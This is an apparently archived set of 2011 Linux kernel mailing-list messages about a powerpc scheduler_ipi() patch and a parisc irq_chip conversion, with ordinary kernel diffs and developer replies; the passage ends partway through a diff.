Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter
	Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>, Mikael-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>, Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        xen-devel-GuqFBffKawuULHF6PoxzQEEOCMrvLtNR@public.gmane.org, Chris-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Fen
To: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Feb 07 00:28:33 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1PmE1v-0001cm-M4
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 07 Feb 2011 00:28:32 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p16NSDLY013212;
	Sun, 6 Feb 2011 18:28:14 -0500
Original-Received: from gate.crashing.org
	(IDENT:U2FsdGVkX19ESiV/+h1BHEohLYCyCjawI4hr6/XlBzY-JorI+TVEvZrY24RiXHRV3ti2O/JbrIOy@public.gmane.org
	[63.228.1.57])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p16NRiYh013190 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Sun, 6 Feb 2011 18:27:55 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id p16NQXoc023703;
	Sun, 6 Feb 2011 17:26:35 -0600
In-Reply-To: <1295262433.30950.53.camel@laptop>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5178 gmane.linux.ports.mips.general:30213 gmane.linux.ports.ia64:21553 gmane.linux.ports.sh.devel:10032 gmane.linux.ports.sparc:14415 gmane.linux.kernel.cross-arch:9076 gmane.linux.kernel.virtualization:11309 gmane.comp.emulators.xen.devel:98575 gmane.linux.uml.devel:12685 gmane.linux.uml.user:13882 gmane.linux.ports.arm.kernel:105335 gmane.linux.ports.parisc:3428 gmane.linux.kernel:1096758 gmane.linux.ports.alpha:1340 gmane.linux.ports.ppc64.devel:72443
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5178>

On Mon, 2011-01-17 at 12:07 +0100, Peter Zijlstra wrote:
> diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
> index 68034bb..7ee0fc3 100644
> --- a/arch/powerpc/kernel/smp.c
> +++ b/arch/powerpc/kernel/smp.c
> @@ -128,6 +128,7 @@ static irqreturn_t call_function_action(int irq, void *data)
>  static irqreturn_t reschedule_action(int irq, void *data)
>  {
>         /* we just need the return path side effect of checking need_resched */
> +       scheduler_ipi();
>         return IRQ_HANDLED;
>  }
>   

You missed:

diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
index 9813605..467d122 100644
--- a/arch/powerpc/kernel/smp.c
+++ b/arch/powerpc/kernel/smp.c
@@ -98,6 +98,7 @@ void smp_message_recv(int msg)
                break;
        case PPC_MSG_RESCHEDULE:
                /* we notice need_resched on exit */
+               scheduler_ipi();
                break;
        case PPC_MSG_CALL_FUNC_SINGLE:
                generic_smp_call_function_single_interrupt();

Fold that in and add:

Acked-by: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>

(We have two variants of the IPIs)

Cheers,
Ben.

From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
 smp_send_reschedule()
Date: Mon, 07 Feb 2011 14:54:19 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <1297086859.13327.16.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
         <1297034792.14982.10.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297086866 16555 80.91.229.12 (7 Feb 2011 13:54:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 13:54:26 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Feb 07 14:54:12 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1PmRXV-0004R4-VF
	for sgi-linux-mips@gmane.org; Mon, 07 Feb 2011 14:54:02 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:36231 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491096Ab1BGNx6 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 7 Feb 2011 14:53:58 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Feb 2011 14:53:40 +0100 (CET)
Original-Received: from casper.infradead.org ([85.118.1.10]:34955 "EHLO
        casper.infradead.org" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S1491092Ab1BGNxe (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 7 Feb 2011 14:53:34 +0100
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=dyad.programming.kicks-ass.net)
        by casper.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
        id 1PmRX2-00068z-S8
        for linux-mips@linux-mips.org; Mon, 07 Feb 2011 13:53:32 +0000
Original-Received: by dyad.programming.kicks-ass.net (Postfix, from userid 65534)
        id AE9CA2425A; Mon,  7 Feb 2011 14:56:49 +0100 (CET)
Original-Received: from [IPv6:::1] (dyad [192.168.0.60])
        by dyad.programming.kicks-ass.net (Postfix) with ESMTP id 4C95C2424A;
        Mon,  7 Feb 2011 14:56:28 +0100 (CET)
In-Reply-To: <1297034792.14982.10.camel@pasglop>
X-Mailer: Evolution 2.30.3 
X-archive-position: 29130
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: peterz@infradead.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30216 gmane.linux.ports.alpha:1341 gmane.linux.kernel:1096984 gmane.linux.ports.arm.kernel:105406 gmane.linux.hardware.blackfin.kernel.devel:5186 gmane.linux.ports.ia64:21554 gmane.linux.ports.parisc:3429 gmane.linux.ports.ppc64.devel:72465 gmane.linux.ports.sh.devel:10045 gmane.linux.ports.sparc:14416 gmane.linux.uml.devel:12686 gmane.linux.uml.user:13883 gmane.comp.emulators.xen.devel:98621 gmane.linux.kernel.virtualization:11318 gmane.linux.kernel.cross-arch:9082
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30216>

On Mon, 2011-02-07 at 10:26 +1100, Benjamin Herrenschmidt wrote:
> You missed:
> 
> diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
> index 9813605..467d122 100644
> --- a/arch/powerpc/kernel/smp.c
> +++ b/arch/powerpc/kernel/smp.c
> @@ -98,6 +98,7 @@ void smp_message_recv(int msg)
>                 break;
>         case PPC_MSG_RESCHEDULE:
>                 /* we notice need_resched on exit */
> +               scheduler_ipi();
>                 break;
>         case PPC_MSG_CALL_FUNC_SINGLE:
>                 generic_smp_call_function_single_interrupt();
> 
> Fold that in and add:
> 
> Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>

Thanks Ben!




From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 07 Feb 2011 10:02:15 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1297094535.8577.3.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297094545 28789 80.91.229.12 (7 Feb 2011 16:02:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 16:02:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 07 17:02:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmTXf-0002Fc-19
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Feb 2011 17:02:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751962Ab1BGQCS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 11:02:18 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55292 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751318Ab1BGQCS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 11:02:18 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7D2AA8EE0D9;
	Mon,  7 Feb 2011 08:02:17 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AT+sfxAxcMzL; Mon,  7 Feb 2011 08:02:17 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F14828EE0D7;
	Mon,  7 Feb 2011 08:02:16 -0800 (PST)
In-Reply-To: <20110206204411.109238550@linutronix.de>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3430>

On Sun, 2011-02-06 at 20:45 +0000, Thomas Gleixner wrote:
> The following series converts parisc to the new irq_chip functions and
> sets GENERIC_HARDIRQS_NO_DEPRECATED. Compile tested only.

You don't really need one patch per file in the irq function changes do
you? ... unless you're being rechristened Joe Perches ...

I can't get the last patch to apply ... it looks like there are lots of
other Kconfig changes besides the one liner it does; what's missing?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 7 Feb 2011 17:53:24 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de> <1297094535.8577.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297097636 15283 80.91.229.12 (7 Feb 2011 16:53:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 16:53:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 07 17:53:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmULU-0008Gq-Hg
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Feb 2011 17:53:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754190Ab1BGQxs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 11:53:48 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:54145 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752745Ab1BGQxr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 11:53:47 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p17GrOga016212
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 7 Feb 2011 17:53:24 +0100
In-Reply-To: <1297094535.8577.3.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3431>

On Mon, 7 Feb 2011, James Bottomley wrote:

> On Sun, 2011-02-06 at 20:45 +0000, Thomas Gleixner wrote:
> > The following series converts parisc to the new irq_chip functions and
> > sets GENERIC_HARDIRQS_NO_DEPRECATED. Compile tested only.
> 
> You don't really need one patch per file in the irq function changes do
> you? ... unless you're being rechristened Joe Perches ...

WTF ? It's damn easier to review and make sure that you did not miss
anything that way. That's not a 100 patches series doing spelling
fixes or other trivial shite.

Feel free to bulk apply them, I don't care. Next time I'm going to
ignore parisc and just mark it broken, then you can fix it up yourself
as you like.

> I can't get the last patch to apply ... it looks like there are lots of
> other Kconfig changes besides the one liner it does; what's missing?

Tested it against -next as well, had to fix up crap there and sent out
that queue instead the one against linus.

Yours grumpy,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 07 Feb 2011 11:36:08 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <1297100168.8577.42.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
	 <1297094535.8577.3.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297100188 31236 80.91.229.12 (7 Feb 2011 17:36:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 17:36:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 07 18:36:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmV0Y-0001A3-5t
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Feb 2011 18:36:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754364Ab1BGRgN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 12:36:13 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54861 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754296Ab1BGRgM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 12:36:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 366028EE0D9;
	Mon,  7 Feb 2011 09:36:12 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lmWPNURes4dW; Mon,  7 Feb 2011 09:36:12 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id AA1FB8EE0D7;
	Mon,  7 Feb 2011 09:36:11 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3432>

On Mon, 2011-02-07 at 17:53 +0100, Thomas Gleixner wrote:
> On Mon, 7 Feb 2011, James Bottomley wrote:
> 
> > On Sun, 2011-02-06 at 20:45 +0000, Thomas Gleixner wrote:
> > > The following series converts parisc to the new irq_chip functions and
> > > sets GENERIC_HARDIRQS_NO_DEPRECATED. Compile tested only.
> > 
> > You don't really need one patch per file in the irq function changes do
> > you? ... unless you're being rechristened Joe Perches ...
> 
> WTF ? It's damn easier to review and make sure that you did not miss
> anything that way. That's not a 100 patches series doing spelling
> fixes or other trivial shite.
> 
> Feel free to bulk apply them, I don't care. Next time I'm going to
> ignore parisc and just mark it broken, then you can fix it up yourself
> as you like.

sorry, outgoing humour filter stopped picking up .de addresses for some
reason ... I've fixed it ...

> > I can't get the last patch to apply ... it looks like there are lots of
> > other Kconfig changes besides the one liner it does; what's missing?
> 
> Tested it against -next as well, had to fix up crap there and sent out
> that queue instead the one against linus.

Actually, you'll be pleased to hear this was entirely my fault:  The irq
branch of the parisc tree wasn't where I thought it was (it was about a
month behind.

There's some problem in arch/parisc/kernel.c it's giving me undefined
references to irq (oh and some easily fixed compile issues).  I'll see
if I can sort it out and get back to you.

> Yours grumpy,

Well, I'd like to be happy ... but I guess after the git cockup I'll
have to settle for dopey.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 7 Feb 2011 19:28:01 +0100 (CET)
Lines: 62
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de>  <1297094535.8577.3.camel@mulgrave.site>  <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6> <1297100168.8577.42.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297103311 17531 80.91.229.12 (7 Feb 2011 18:28:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 18:28:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 07 19:28:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmVp4-000644-6g
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Feb 2011 19:28:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754463Ab1BGS2Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 13:28:25 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:47598 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754357Ab1BGS2Z (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 13:28:25 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p17IS1l7032696
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 7 Feb 2011 19:28:02 +0100
In-Reply-To: <1297100168.8577.42.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3433>

On Mon, 7 Feb 2011, James Bottomley wrote:
> On Mon, 2011-02-07 at 17:53 +0100, Thomas Gleixner wrote:
> > On Mon, 7 Feb 2011, James Bottomley wrote:
> > > I can't get the last patch to apply ... it looks like there are lots of
> > > other Kconfig changes besides the one liner it does; what's missing?
> > 
> > Tested it against -next as well, had to fix up crap there and sent out
> > that queue instead the one against linus.
> 
> Actually, you'll be pleased to hear this was entirely my fault:  The irq
> branch of the parisc tree wasn't where I thought it was (it was about a
> month behind.

:)
 
> There's some problem in arch/parisc/kernel.c it's giving me undefined
> references to irq (oh and some easily fixed compile issues).  I'll see
> if I can sort it out and get back to you.

That's a bug which is already in the current tree:

--- linux-next.orig/arch/parisc/kernel/irq.c
+++ linux-next/arch/parisc/kernel/irq.c
@@ -108,7 +108,7 @@ int cpu_check_affinity(unsigned int irq,
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (CHECK_IRQ_PER_CPU(irq)) {
